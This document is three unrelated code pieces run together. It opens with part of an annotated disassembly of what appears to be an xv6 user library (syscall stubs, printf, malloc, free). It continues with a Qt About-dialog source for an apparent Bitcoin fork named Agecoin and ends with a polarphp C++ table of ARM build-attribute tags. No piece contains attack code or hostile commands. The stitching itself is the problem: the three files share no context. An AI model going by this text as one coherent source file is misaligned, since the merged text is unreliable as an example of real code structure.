SYSCALL(kill) 291: b8 06 00 00 00 mov $0x6,%eax 296: cd 40 int $0x40 298: c3 ret 00000299 <exec>: SYSCALL(exec) 299: b8 07 00 00 00 mov $0x7,%eax 29e: cd 40 int $0x40 2a0: c3 ret 000002a1 <open>: SYSCALL(open) 2a1: b8 0f 00 00 00 mov $0xf,%eax 2a6: cd 40 int $0x40 2a8: c3 ret 000002a9 <mknod>: SYSCALL(mknod) 2a9: b8 11 00 00 00 mov $0x11,%eax 2ae: cd 40 int $0x40 2b0: c3 ret 000002b1 <unlink>: SYSCALL(unlink) 2b1: b8 12 00 00 00 mov $0x12,%eax 2b6: cd 40 int $0x40 2b8: c3 ret 000002b9 <fstat>: SYSCALL(fstat) 2b9: b8 08 00 00 00 mov $0x8,%eax 2be: cd 40 int $0x40 2c0: c3 ret 000002c1 <link>: SYSCALL(link) 2c1: b8 13 00 00 00 mov $0x13,%eax 2c6: cd 40 int $0x40 2c8: c3 ret 000002c9 <mkdir>: SYSCALL(mkdir) 2c9: b8 14 00 00 00 mov $0x14,%eax 2ce: cd 40 int $0x40 2d0: c3 ret 000002d1 <chdir>: SYSCALL(chdir) 2d1: b8 09 00 00 00 mov $0x9,%eax 2d6: cd 40 int $0x40 2d8: c3 ret 000002d9 <dup>: SYSCALL(dup) 2d9: b8 0a 00 00 00 mov $0xa,%eax 2de: cd 40 int $0x40 2e0: c3 ret 000002e1 <getpid>: SYSCALL(getpid) 2e1: b8 0b 00 00 00 mov $0xb,%eax 2e6: cd 40 int $0x40 2e8: c3 ret 000002e9 <sbrk>: SYSCALL(sbrk) 2e9: b8 0c 00 00 00 mov $0xc,%eax 2ee: cd 40 int $0x40 2f0: c3 ret 000002f1 <sleep>: SYSCALL(sleep) 2f1: b8 0d 00 00 00 mov $0xd,%eax 2f6: cd 40 int $0x40 2f8: c3 ret 000002f9 <uptime>: SYSCALL(uptime) 2f9: b8 0e 00 00 00 mov $0xe,%eax 2fe: cd 40 int $0x40 300: c3 ret 00000301 <waitx>: SYSCALL(waitx) 301: b8 16 00 00 00 mov $0x16,%eax 306: cd 40 int $0x40 308: c3 ret 00000309 <cps>: SYSCALL(cps) 309: b8 17 00 00 00 mov $0x17,%eax 30e: cd 40 int $0x40 310: c3 ret 00000311 <set_priority>: SYSCALL(set_priority) 311: b8 18 00 00 00 mov $0x18,%eax 316: cd 40 int $0x40 318: c3 ret 00000319 <getpinfo>: 319: b8 19 00 00 00 mov $0x19,%eax 31e: cd 40 int $0x40 320: c3 ret 321: 66 90 xchg %ax,%ax 323: 66 90 xchg %ax,%ax 325: 66 90 xchg %ax,%ax 327: 66 90 xchg %ax,%ax 329: 66 90 xchg %ax,%ax 32b: 66 90 xchg %ax,%ax 32d: 66 90 xchg %ax,%ax 32f: 90 nop 00000330 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 330: 55 push %ebp 331: 89 e5 mov %esp,%ebp 333: 57 push %edi 334: 56 push %esi 335: 53 push %ebx uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 336: 89 d3 mov %edx,%ebx { 338: 83 ec 3c sub $0x3c,%esp 33b: 89 45 bc mov %eax,-0x44(%ebp) if(sgn && xx < 0){ 33e: 85 d2 test %edx,%edx 340: 0f 89 92 00 00 00 jns 3d8 <printint+0xa8> 346: f6 45 08 01 testb $0x1,0x8(%ebp) 34a: 0f 84 88 00 00 00 je 3d8 <printint+0xa8> neg = 1; 350: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp) x = -xx; 357: f7 db neg %ebx } else { x = xx; } i = 0; 359: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 360: 8d 75 d7 lea -0x29(%ebp),%esi 363: eb 08 jmp 36d <printint+0x3d> 365: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 368: 89 7d c4 mov %edi,-0x3c(%ebp) }while((x /= base) != 0); 36b: 89 c3 mov %eax,%ebx buf[i++] = digits[x % base]; 36d: 89 d8 mov %ebx,%eax 36f: 31 d2 xor %edx,%edx 371: 8b 7d c4 mov -0x3c(%ebp),%edi 374: f7 f1 div %ecx 376: 83 c7 01 add $0x1,%edi 379: 0f b6 92 60 07 00 00 movzbl 0x760(%edx),%edx 380: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 383: 39 d9 cmp %ebx,%ecx 385: 76 e1 jbe 368 <printint+0x38> if(neg) 387: 8b 45 c0 mov -0x40(%ebp),%eax 38a: 85 c0 test %eax,%eax 38c: 74 0d je 39b <printint+0x6b> buf[i++] = '-'; 38e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 393: ba 2d 00 00 00 mov $0x2d,%edx buf[i++] = digits[x % base]; 398: 89 7d c4 mov %edi,-0x3c(%ebp) 39b: 8b 45 c4 mov -0x3c(%ebp),%eax 39e: 8b 7d bc mov -0x44(%ebp),%edi 3a1: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 3a5: eb 0f jmp 3b6 <printint+0x86> 3a7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3ae: 66 90 xchg %ax,%ax 3b0: 0f b6 13 movzbl (%ebx),%edx 3b3: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 3b6: 83 ec 04 sub $0x4,%esp 3b9: 88 55 d7 mov %dl,-0x29(%ebp) 3bc: 6a 01 push $0x1 3be: 56 push %esi 3bf: 57 push %edi 3c0: e8 bc fe ff ff call 281 <write> while(--i >= 0) 3c5: 83 c4 10 add $0x10,%esp 3c8: 39 de cmp %ebx,%esi 3ca: 75 e4 jne 3b0 <printint+0x80> putc(fd, buf[i]); } 3cc: 8d 65 f4 lea -0xc(%ebp),%esp 3cf: 5b pop %ebx 3d0: 5e pop %esi 3d1: 5f pop %edi 3d2: 5d pop %ebp 3d3: c3 ret 3d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 3d8: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp) 3df: e9 75 ff ff ff jmp 359 <printint+0x29> 3e4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 3ef: 90 nop 000003f0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 56 push %esi 3f5: 53 push %ebx 3f6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3f9: 8b 75 0c mov 0xc(%ebp),%esi 3fc: 0f b6 1e movzbl (%esi),%ebx 3ff: 84 db test %bl,%bl 401: 0f 84 b9 00 00 00 je 4c0 <printf+0xd0> ap = (uint*)(void*)&fmt + 1; 407: 8d 45 10 lea 0x10(%ebp),%eax 40a: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 40d: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 410: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 412: 89 45 d0 mov %eax,-0x30(%ebp) 415: eb 38 jmp 44f <printf+0x5f> 417: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 41e: 66 90 xchg %ax,%ax 420: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 423: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 428: 83 f8 25 cmp $0x25,%eax 42b: 74 17 je 444 <printf+0x54> write(fd, &c, 1); 42d: 83 ec 04 sub $0x4,%esp 430: 88 5d e7 mov %bl,-0x19(%ebp) 433: 6a 01 push $0x1 435: 57 push %edi 436: ff 75 08 pushl 0x8(%ebp) 439: e8 43 fe ff ff call 281 <write> 43e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 441: 83 c4 10 add $0x10,%esp 444: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 447: 0f b6 5e ff movzbl -0x1(%esi),%ebx 44b: 84 db test %bl,%bl 44d: 74 71 je 4c0 <printf+0xd0> c = fmt[i] & 0xff; 44f: 0f be cb movsbl %bl,%ecx 452: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 455: 85 d2 test %edx,%edx 457: 74 c7 je 420 <printf+0x30> } } else if(state == '%'){ 459: 83 fa 25 cmp $0x25,%edx 45c: 75 e6 jne 444 <printf+0x54> if(c == 'd'){ 45e: 83 f8 64 cmp $0x64,%eax 461: 0f 84 99 00 00 00 je 500 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 467: 81 e1 f7 00 00 00 and $0xf7,%ecx 46d: 83 f9 70 cmp $0x70,%ecx 470: 74 5e je 4d0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 472: 83 f8 73 cmp $0x73,%eax 475: 0f 84 d5 00 00 00 je 550 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 47b: 83 f8 63 cmp $0x63,%eax 47e: 0f 84 8c 00 00 00 je 510 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 484: 83 f8 25 cmp $0x25,%eax 487: 0f 84 b3 00 00 00 je 540 <printf+0x150> write(fd, &c, 1); 48d: 83 ec 04 sub $0x4,%esp 490: c6 45 e7 25 movb $0x25,-0x19(%ebp) 494: 6a 01 push $0x1 496: 57 push %edi 497: ff 75 08 pushl 0x8(%ebp) 49a: e8 e2 fd ff ff call 281 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 49f: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 4a2: 83 c4 0c add $0xc,%esp 4a5: 6a 01 push $0x1 4a7: 83 c6 01 add $0x1,%esi 4aa: 57 push %edi 4ab: ff 75 08 pushl 0x8(%ebp) 4ae: e8 ce fd ff ff call 281 <write> for(i = 0; fmt[i]; i++){ 4b3: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 4b7: 83 c4 10 add $0x10,%esp } state = 0; 4ba: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 4bc: 84 db test %bl,%bl 4be: 75 8f jne 44f <printf+0x5f> } } } 4c0: 8d 65 f4 lea -0xc(%ebp),%esp 4c3: 5b pop %ebx 4c4: 5e pop %esi 4c5: 5f pop %edi 4c6: 5d pop %ebp 4c7: c3 ret 4c8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 4cf: 90 nop printint(fd, *ap, 16, 0); 4d0: 83 ec 0c sub $0xc,%esp 4d3: b9 10 00 00 00 mov $0x10,%ecx 4d8: 6a 00 push $0x0 4da: 8b 5d d0 mov -0x30(%ebp),%ebx 4dd: 8b 45 08 mov 0x8(%ebp),%eax 4e0: 8b 13 mov (%ebx),%edx 4e2: e8 49 fe ff ff call 330 <printint> ap++; 4e7: 89 d8 mov %ebx,%eax 4e9: 83 c4 10 add $0x10,%esp state = 0; 4ec: 31 d2 xor %edx,%edx ap++; 4ee: 83 c0 04 add $0x4,%eax 4f1: 89 45 d0 mov %eax,-0x30(%ebp) 4f4: e9 4b ff ff ff jmp 444 <printf+0x54> 4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 500: 83 ec 0c sub $0xc,%esp 503: b9 0a 00 00 00 mov $0xa,%ecx 508: 6a 01 push $0x1 50a: eb ce jmp 4da <printf+0xea> 50c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 510: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 513: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 516: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 518: 6a 01 push $0x1 ap++; 51a: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 51d: 57 push %edi 51e: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 521: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 524: e8 58 fd ff ff call 281 <write> ap++; 529: 89 5d d0 mov %ebx,-0x30(%ebp) 52c: 83 c4 10 add $0x10,%esp state = 0; 52f: 31 d2 xor %edx,%edx 531: e9 0e ff ff ff jmp 444 <printf+0x54> 536: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 53d: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 540: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 543: 83 ec 04 sub $0x4,%esp 546: e9 5a ff ff ff jmp 4a5 <printf+0xb5> 54b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 54f: 90 nop s = (char*)*ap; 550: 8b 45 d0 mov -0x30(%ebp),%eax 553: 8b 18 mov (%eax),%ebx ap++; 555: 83 c0 04 add $0x4,%eax 558: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 55b: 85 db test %ebx,%ebx 55d: 74 17 je 576 <printf+0x186> while(*s != 0){ 55f: 0f b6 03 movzbl (%ebx),%eax state = 0; 562: 31 d2 xor %edx,%edx while(*s != 0){ 564: 84 c0 test %al,%al 566: 0f 84 d8 fe ff ff je 444 <printf+0x54> 56c: 89 75 d4 mov %esi,-0x2c(%ebp) 56f: 89 de mov %ebx,%esi 571: 8b 5d 08 mov 0x8(%ebp),%ebx 574: eb 1a jmp 590 <printf+0x1a0> s = "(null)"; 576: bb 58 07 00 00 mov $0x758,%ebx while(*s != 0){ 57b: 89 75 d4 mov %esi,-0x2c(%ebp) 57e: b8 28 00 00 00 mov $0x28,%eax 583: 89 de mov %ebx,%esi 585: 8b 5d 08 mov 0x8(%ebp),%ebx 588: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 58f: 90 nop write(fd, &c, 1); 590: 83 ec 04 sub $0x4,%esp s++; 593: 83 c6 01 add $0x1,%esi 596: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 599: 6a 01 push $0x1 59b: 57 push %edi 59c: 53 push %ebx 59d: e8 df fc ff ff call 281 <write> while(*s != 0){ 5a2: 0f b6 06 movzbl (%esi),%eax 5a5: 83 c4 10 add $0x10,%esp 5a8: 84 c0 test %al,%al 5aa: 75 e4 jne 590 <printf+0x1a0> 5ac: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 5af: 31 d2 xor %edx,%edx 5b1: e9 8e fe ff ff jmp 444 <printf+0x54> 5b6: 66 90 xchg %ax,%ax 5b8: 66 90 xchg %ax,%ax 5ba: 66 90 xchg %ax,%ax 5bc: 66 90 xchg %ax,%ax 5be: 66 90 xchg %ax,%ax 000005c0 <free>: static Header base; static Header *freep; void free(void *ap) { 5c0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c1: a1 00 0a 00 00 mov 0xa00,%eax { 5c6: 89 e5 mov %esp,%ebp 5c8: 57 push %edi 5c9: 56 push %esi 5ca: 53 push %ebx 5cb: 8b 5d 08 mov 0x8(%ebp),%ebx 5ce: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 5d0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5d3: 39 c8 cmp %ecx,%eax 5d5: 73 19 jae 5f0 <free+0x30> 5d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 5de: 66 90 xchg %ax,%ax 5e0: 39 d1 cmp %edx,%ecx 5e2: 72 14 jb 5f8 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5e4: 39 d0 cmp %edx,%eax 5e6: 73 10 jae 5f8 <free+0x38> { 5e8: 89 d0 mov %edx,%eax 5ea: 8b 10 mov (%eax),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5ec: 39 c8 cmp %ecx,%eax 5ee: 72 f0 jb 5e0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5f0: 39 d0 cmp %edx,%eax 5f2: 72 f4 jb 5e8 <free+0x28> 5f4: 39 d1 cmp %edx,%ecx 5f6: 73 f0 jae 5e8 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 5f8: 8b 73 fc mov -0x4(%ebx),%esi 5fb: 8d 3c f1 lea (%ecx,%esi,8),%edi 5fe: 39 fa cmp %edi,%edx 600: 74 1e je 620 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 602: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 605: 8b 50 04 mov 0x4(%eax),%edx 608: 8d 34 d0 lea (%eax,%edx,8),%esi 60b: 39 f1 cmp %esi,%ecx 60d: 74 28 je 637 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 60f: 89 08 mov %ecx,(%eax) freep = p; } 611: 5b pop %ebx freep = p; 612: a3 00 0a 00 00 mov %eax,0xa00 } 617: 5e pop %esi 618: 5f pop %edi 619: 5d pop %ebp 61a: c3 ret 61b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 61f: 90 nop bp->s.size += p->s.ptr->s.size; 620: 03 72 04 add 0x4(%edx),%esi 623: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 626: 8b 10 mov (%eax),%edx 628: 8b 12 mov (%edx),%edx 62a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 62d: 8b 50 04 mov 0x4(%eax),%edx 630: 8d 34 d0 lea (%eax,%edx,8),%esi 633: 39 f1 cmp %esi,%ecx 635: 75 d8 jne 60f <free+0x4f> p->s.size += bp->s.size; 637: 03 53 fc add -0x4(%ebx),%edx freep = p; 63a: a3 00 0a 00 00 mov %eax,0xa00 p->s.size += bp->s.size; 63f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 642: 8b 53 f8 mov -0x8(%ebx),%edx 645: 89 10 mov %edx,(%eax) } 647: 5b pop %ebx 648: 5e pop %esi 649: 5f pop %edi 64a: 5d pop %ebp 64b: c3 ret 64c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000650 <malloc>: return freep; } void* malloc(uint nbytes) { 650: 55 push %ebp 651: 89 e5 mov %esp,%ebp 653: 57 push %edi 654: 56 push %esi 655: 53 push %ebx 656: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 659: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 65c: 8b 3d 00 0a 00 00 mov 0xa00,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 662: 8d 70 07 lea 0x7(%eax),%esi 665: c1 ee 03 shr $0x3,%esi 668: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 66b: 85 ff test %edi,%edi 66d: 0f 84 ad 00 00 00 je 720 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 673: 8b 17 mov (%edi),%edx if(p->s.size >= nunits){ 675: 8b 4a 04 mov 0x4(%edx),%ecx 678: 39 f1 cmp %esi,%ecx 67a: 73 72 jae 6ee <malloc+0x9e> 67c: 81 fe 00 10 00 00 cmp $0x1000,%esi 682: bb 00 10 00 00 mov $0x1000,%ebx 687: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 68a: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 691: 89 45 e4 mov %eax,-0x1c(%ebp) 694: eb 1b jmp 6b1 <malloc+0x61> 696: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 69d: 8d 76 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6a0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 6a2: 8b 48 04 mov 0x4(%eax),%ecx 6a5: 39 f1 cmp %esi,%ecx 6a7: 73 4f jae 6f8 <malloc+0xa8> 6a9: 8b 3d 00 0a 00 00 mov 0xa00,%edi 6af: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6b1: 39 d7 cmp %edx,%edi 6b3: 75 eb jne 6a0 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 6b5: 83 ec 0c sub $0xc,%esp 6b8: ff 75 e4 pushl -0x1c(%ebp) 6bb: e8 29 fc ff ff call 2e9 <sbrk> if(p == (char*)-1) 6c0: 83 c4 10 add $0x10,%esp 6c3: 83 f8 ff cmp $0xffffffff,%eax 6c6: 74 1c je 6e4 <malloc+0x94> hp->s.size = nu; 6c8: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 6cb: 83 ec 0c sub $0xc,%esp 6ce: 83 c0 08 add $0x8,%eax 6d1: 50 push %eax 6d2: e8 e9 fe ff ff call 5c0 <free> return freep; 6d7: 8b 15 00 0a 00 00 mov 0xa00,%edx if((p = morecore(nunits)) == 0) 6dd: 83 c4 10 add $0x10,%esp 6e0: 85 d2 test %edx,%edx 6e2: 75 bc jne 6a0 <malloc+0x50> return 0; } } 6e4: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 6e7: 31 c0 xor %eax,%eax } 6e9: 5b pop %ebx 6ea: 5e pop %esi 6eb: 5f pop %edi 6ec: 5d pop %ebp 6ed: c3 ret if(p->s.size >= nunits){ 6ee: 89 d0 mov %edx,%eax 6f0: 89 fa mov %edi,%edx 6f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 6f8: 39 ce cmp %ecx,%esi 6fa: 74 54 je 750 <malloc+0x100> p->s.size -= nunits; 6fc: 29 f1 sub %esi,%ecx 6fe: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 701: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 704: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 707: 89 15 00 0a 00 00 mov %edx,0xa00 } 70d: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 710: 83 c0 08 add $0x8,%eax } 713: 5b pop %ebx 714: 5e pop %esi 715: 5f pop %edi 716: 5d pop %ebp 717: c3 ret 718: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 71f: 90 nop base.s.ptr = freep = prevp = &base; 720: c7 05 00 0a 00 00 04 movl $0xa04,0xa00 727: 0a 00 00 base.s.size = 0; 72a: bf 04 0a 00 00 mov $0xa04,%edi base.s.ptr = freep = prevp = &base; 72f: c7 05 04 0a 00 00 04 movl $0xa04,0xa04 736: 0a 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 739: 89 fa mov %edi,%edx base.s.size = 0; 73b: c7 05 08 0a 00 00 00 movl $0x0,0xa08 742: 00 00 00 if(p->s.size >= nunits){ 745: e9 32 ff ff ff jmp 67c <malloc+0x2c> 74a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 750: 8b 08 mov (%eax),%ecx 752: 89 0a mov %ecx,(%edx) 754: eb b1 jmp 707 <malloc+0xb7>
// Copyright (c) 2011-2013 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "aboutdialog.h" #include "ui_aboutdialog.h" #include "clientmodel.h" #include "clientversion.h" // Copyright year (2009-this) // Todo: update this when changing our copyright comments in the source const int ABOUTDIALOG_COPYRIGHT_YEAR = 2016; AboutDialog::AboutDialog(QWidget *parent) : QDialog(parent), ui(new Ui::AboutDialog) { ui->setupUi(this); // Set current copyright year ui->copyrightLabel->setText(tr("Copyright") + QString(" &copy; 2009-%1 ").arg(COPYRIGHT_YEAR) + tr("The Bitcoin developers") + QString("<br>") + tr("Copyright") + QString(" &copy; ") + tr("2011-%1 The Agecoin developers").arg(ABOUTDIALOG_COPYRIGHT_YEAR)); } void AboutDialog::setModel(ClientModel *model) { if(model) { ui->versionLabel->setText(model->formatFullVersion()); } } AboutDialog::~AboutDialog() { delete ui; } void AboutDialog::on_buttonBox_accepted() { close(); }
// This source file is part of the polarphp.org open source project // // Copyright (c) 2017 - 2018 polarphp software foundation // Copyright (c) 2017 - 2018 zzu_softboy <zzu_softboy@163.com> // Licensed under Apache License v2.0 with Runtime Library Exception // // See https://polarphp.org/LICENSE.txt for license information // See https://polarphp.org/CONTRIBUTORS.txt for the list of polarphp project authors // // Created by polarboy on 2018/07/01. #include "polarphp/basic/adt/StringRef.h" #include "polarphp/utils/ARMBuildAttributes.h" namespace polar { using polar::basic::StringRef; namespace { const struct { armbuildattrs::AttrType m_attr; StringRef m_tagName; } sg_armAttributeTags[] = { { armbuildattrs::File, "Tag_File" }, { armbuildattrs::Section, "Tag_Section" }, { armbuildattrs::Symbol, "Tag_Symbol" }, { armbuildattrs::CPU_raw_name, "Tag_CPU_raw_name" }, { armbuildattrs::CPU_name, "Tag_CPU_name" }, { armbuildattrs::CPU_arch, "Tag_CPU_arch" }, { armbuildattrs::CPU_arch_profile, "Tag_CPU_arch_profile" }, { armbuildattrs::ARM_ISA_use, "Tag_ARM_ISA_use" }, { armbuildattrs::THUMB_ISA_use, "Tag_THUMB_ISA_use" }, { armbuildattrs::FP_arch, "Tag_FP_arch" }, { armbuildattrs::WMMX_arch, "Tag_WMMX_arch" }, { armbuildattrs::Advanced_SIMD_arch, "Tag_Advanced_SIMD_arch" }, { armbuildattrs::PCS_config, "Tag_PCS_config" }, { armbuildattrs::ABI_PCS_R9_use, "Tag_ABI_PCS_R9_use" }, { armbuildattrs::ABI_PCS_RW_data, "Tag_ABI_PCS_RW_data" }, { armbuildattrs::ABI_PCS_RO_data, "Tag_ABI_PCS_RO_data" }, { armbuildattrs::ABI_PCS_GOT_use, "Tag_ABI_PCS_GOT_use" }, { armbuildattrs::ABI_PCS_wchar_t, "Tag_ABI_PCS_wchar_t" }, { armbuildattrs::ABI_FP_rounding, "Tag_ABI_FP_rounding" }, { armbuildattrs::ABI_FP_denormal, "Tag_ABI_FP_denormal" }, { armbuildattrs::ABI_FP_exceptions, "Tag_ABI_FP_exceptions" }, { armbuildattrs::ABI_FP_user_exceptions, "Tag_ABI_FP_user_exceptions" }, { armbuildattrs::ABI_FP_number_model, "Tag_ABI_FP_number_model" }, { armbuildattrs::ABI_align_needed, "Tag_ABI_align_needed" }, { armbuildattrs::ABI_align_preserved, "Tag_ABI_align_preserved" }, { armbuildattrs::ABI_enum_size, "Tag_ABI_enum_size" }, { armbuildattrs::ABI_HardFP_use, "Tag_ABI_HardFP_use" }, { armbuildattrs::ABI_VFP_args, "Tag_ABI_VFP_args" }, { armbuildattrs::ABI_WMMX_args, "Tag_ABI_WMMX_args" }, { armbuildattrs::ABI_optimization_goals, "Tag_ABI_optimization_goals" }, { armbuildattrs::ABI_FP_optimization_goals, "Tag_ABI_FP_optimization_goals" }, { armbuildattrs::compatibility, "Tag_compatibility" }, { armbuildattrs::CPU_unaligned_access, "Tag_CPU_unaligned_access" }, { armbuildattrs::FP_HP_extension, "Tag_FP_HP_extension" }, { armbuildattrs::ABI_FP_16bit_format, "Tag_ABI_FP_16bit_format" }, { armbuildattrs::MPextension_use, "Tag_MPextension_use" }, { armbuildattrs::DIV_use, "Tag_DIV_use" }, { armbuildattrs::DSP_extension, "Tag_DSP_extension" }, { armbuildattrs::nodefaults, "Tag_nodefaults" }, { armbuildattrs::also_compatible_with, "Tag_also_compatible_with" }, { armbuildattrs::T2EE_use, "Tag_T2EE_use" }, { armbuildattrs::conformance, "Tag_conformance" }, { armbuildattrs::Virtualization_use, "Tag_Virtualization_use" }, // Legacy Names { armbuildattrs::FP_arch, "Tag_VFP_arch" }, { armbuildattrs::FP_HP_extension, "Tag_VFP_HP_extension" }, { armbuildattrs::ABI_align_needed, "Tag_ABI_align8_needed" }, { armbuildattrs::ABI_align_preserved, "Tag_ABI_align8_preserved" }, }; } // anonymous namespace namespace armbuildattrs { StringRef attr_type_as_string(unsigned attr, bool hasTagPrefix) { return attr_type_as_string(static_cast<AttrType>(attr), hasTagPrefix); } StringRef attr_type_as_string(AttrType attr, bool hasTagPrefix) { for (unsigned TI = 0, TE = sizeof(sg_armAttributeTags) / sizeof(*sg_armAttributeTags); TI != TE; ++TI) if (sg_armAttributeTags[TI].m_attr == attr) { auto tagName = sg_armAttributeTags[TI].m_tagName; return hasTagPrefix ? tagName : tagName.dropFront(4); } return ""; } int attr_type_from_string(StringRef tag) { bool hasTagPrefix = tag.startsWith("Tag_"); for (unsigned TI = 0, TE = sizeof(sg_armAttributeTags) / sizeof(*sg_armAttributeTags); TI != TE; ++TI) { auto tagName = sg_armAttributeTags[TI].m_tagName; if (tagName.dropFront(hasTagPrefix ? 0 : 4) == tag) { return sg_armAttributeTags[TI].m_attr; } } return -1; } } // armbuildattrs } // polar
